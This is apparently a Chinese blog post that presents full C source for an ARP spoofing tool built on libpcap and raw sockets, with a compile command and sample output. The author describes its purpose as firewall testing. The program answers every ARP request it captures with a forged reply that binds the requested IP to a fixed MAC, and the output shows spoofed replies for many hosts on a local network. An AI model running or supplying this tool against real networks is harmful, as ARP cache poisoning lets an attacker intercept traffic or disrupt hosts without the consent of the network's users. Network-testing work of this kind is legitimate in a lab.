基于libpcap的ARP欺骗工具

做这个工具的目的不是为了搞破坏，只是为了做防火墙测试。
由于需要模拟生产数据包，因此需要自己动手写ARP欺骗程序来回应防火墙的ARP询问。
这个程序会一直监听某个网卡，一收到ARP询问就通过rawsocket构造一个ARP回应包发送出去。
本程序有两个部分，一个是收包，基于libpcap；另一个是发包，不依赖任何第三方类库，直接通过rawsocket从链路层开始构造ARP包发出去。

#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#pragma pack(1)

unsigned char p_src_addr[15];   //src_ip buffer
unsigned char p_dst_addr[15];   //dst_ip buffer
unsigned char p_dst_mac[17];    //dst_mac buffer
unsigned char* p_src_mac = "AA:BB:CC:DD:EE:FF";   //defined mac
unsigned char* p_interface;     //interface pointer
unsigned char buffer[8192];     //rawsocket data buffer
int s = -1;		        //socket handler
struct sockaddr_ll sa;          
int offset = 0;                 //rawsocket data offset


u_int16_t handle_ethernet(u_char *args, const struct pcap_pkthdr* pkthdr, const u_char* packet)
{
    struct ether_header *eptr;  /* net/ethernet.h */
    eptr = (struct ether_header *) packet;
    return ntohs(eptr->ether_type);
}

struct myarphdr
{
	unsigned short hw_type;           /* hardware address */
	unsigned short protocol_type;             /* protocol address */
	unsigned char hw_addr_len;       /* length of hardware address */
	unsigned char protocol_addr_len;         /* length of protocol address */
	unsigned short opcode;      /*operate code 1 ask 2 reply*/
	unsigned char src_mac[6];
	struct in_addr src_ip; 
	unsigned char dst_mac[6];
	struct in_addr dst_ip;
	unsigned char padding[18];
};

int setup_eth_header(unsigned char* buffer, unsigned char* src_mac, unsigned char* dst_mac)
{
        char s_mac[6];
        sscanf(src_mac, "%x:%x:%x:%x:%x:%x", &s_mac[0], &s_mac[1], &s_mac[2], &s_mac[3], &s_mac[4], &s_mac[5]);
        char d_mac[6];
        sscanf(dst_mac, "%x:%x:%x:%x:%x:%x", &d_mac[0], &d_mac[1], &d_mac[2], &d_mac[3], &d_mac[4], &d_mac[5]);
        struct ethhdr ethernet_header;
        memcpy(ethernet_header.h_dest, d_mac, 6);
        memcpy(ethernet_header.h_source, s_mac, 6);
        ethernet_header.h_proto = htons(0x0806);
        memcpy(buffer, &ethernet_header, sizeof(struct ethhdr));
        return sizeof(struct ethhdr);
};

int setup_arp_header(unsigned char* buffer, unsigned char* src_mac, unsigned char* dst_mac, unsigned char* src_address, unsigned char* dst_address){
        char s_mac[6];
        sscanf(src_mac, "%x:%x:%x:%x:%x:%x", &s_mac[0], &s_mac[1], &s_mac[2], &s_mac[3], &s_mac[4], &s_mac[5]);
        char d_mac[6];
        sscanf(dst_mac, "%x:%x:%x:%x:%x:%x", &d_mac[0], &d_mac[1], &d_mac[2], &d_mac[3], &d_mac[4], &d_mac[5]);
        struct myarphdr arp_header;
        arp_header.hw_type = htons(0x0001);
        arp_header.protocol_type = htons(0x0800);
        arp_header.hw_addr_len = (unsigned char)6;
        arp_header.protocol_addr_len = (unsigned char)4;
        arp_header.opcode = htons(0x0002);
        memcpy(arp_header.src_mac, s_mac, 6);
        arp_header.src_ip.s_addr = inet_addr(src_address);
        memcpy(arp_header.dst_mac, d_mac, 6);
        arp_header.dst_ip.s_addr = inet_addr(dst_address);
        memset(arp_header.padding,0 , 18);
        memcpy(buffer, &arp_header, sizeof(struct myarphdr));
        return sizeof(struct myarphdr);
}

u_char* handle_arp(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet)
{
	struct ether_header *eptr;
	struct myarphdr *arp;
	
	u_int length = pkthdr->len;
	eptr = (struct ether_header*)packet;
    	arp = (struct myarphdr*)(packet + sizeof(struct ether_header));
    	
	length -= sizeof(struct ether_header); 

    	if (length < sizeof(struct myarphdr))
    	{
        	printf("<somebody has replied!src_mac:%s ",ether_ntoa((const struct ether_addr *)&eptr->ether_shost)); 
		printf("dst_mac:%s\n", ether_ntoa((const struct ether_addr *)&eptr->ether_dhost));
		return NULL;
	}

	if(htons(arp->opcode) == 2){//arp reply
		return NULL;
	}

	memset(p_dst_mac, 0, sizeof(p_dst_mac));
	memcpy(p_dst_mac, ether_ntoa((const struct ether_addr *)&eptr->ether_shost), sizeof(p_dst_mac));

	memset(p_src_addr, 0, sizeof(p_src_addr));
	memset(p_dst_addr, 0, sizeof(p_dst_addr));
	memcpy(p_src_addr, inet_ntoa(arp->dst_ip), sizeof(p_src_addr));
	memcpy(p_dst_addr, inet_ntoa(arp->src_ip), sizeof(p_dst_addr));

        if(s < 0){
		s = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
		if(s < 0){
                	printf("Could not open raw socket.\n");
                	exit(-1);
		}
        }
	
        memset(buffer, 0 ,sizeof(buffer));
        offset = 0;
	
        sa.sll_ifindex  = if_nametoindex(p_interface);
	
        offset = setup_eth_header(buffer, p_src_mac, p_dst_mac);
        offset += setup_arp_header(buffer + offset, p_src_mac, p_dst_mac, p_src_addr, p_dst_addr);

        if(sendto(s, buffer, offset, 0, (struct sockaddr *) &sa, sizeof(sa)) < 0){
        	printf("arp send error!\n");
                exit(-1);
        }else{
                printf("[ARP]inter:%s src_mac:%s dsc_mac:%s src_ip:%s dst_ip:%s\n", p_interface, p_src_mac, p_dst_mac, p_src_addr, p_dst_addr);
        }

    return NULL;
}
void my_callback(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet){
	u_int16_t type = handle_ethernet(args, pkthdr, packet);

	if(type == ETHERTYPE_ARP){
		handle_arp(args,pkthdr,packet);
    	}
}

int main (int argc, char* argv[]){
        if(argc < 2){
                printf("usaged:%s interface\n", argv[0]);
                return 0;
        }
	p_interface = argv[1];	

	char ebuf[PCAP_ERRBUF_SIZE];
        /*create capture handler of libpcap*/
	pcap_t *pd = pcap_open_live (argv[1], BUFSIZ, 1, -1, ebuf);
        /*start the loop of capture, loop 5 times, enter printer when capted*/
	pcap_loop (pd, -1, my_callback, NULL);

	pcap_close (pd);

	if(s > 0){
		close(s);
	}
        return 0;
  }

 编译后执行：

[root@cnszxxxx xxxx]# gcc -o arp_trick arp_trick.c -lpcap

 执行效果如下：

[root@cnszxxxx xxxx]# ./arp_trick eth0
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:46:c9 src_ip:10.11.77.200 dst_ip:10.11.77.60
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:1d:9:9:bd:53
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:52:29 src_ip:10.11.77.200 dst_ip:10.11.77.79
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:50:56:83:2b:cd
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:f:1f:69:7b:fa src_ip:10.11.77.43 dst_ip:10.11.77.108
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:f:1f:69:7b:fa src_ip:10.11.77.56 dst_ip:10.11.77.108
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:16:1c src_ip:10.11.77.40 dst_ip:10.11.77.41
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:50:56:83:16:1c
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:1d:9:9:bd:53 src_ip:10.11.77.61 dst_ip:10.11.77.62
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:1d:9:9:bd:53 src_ip:10.11.77.40 dst_ip:10.11.77.62
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:1d:9:9:bd:53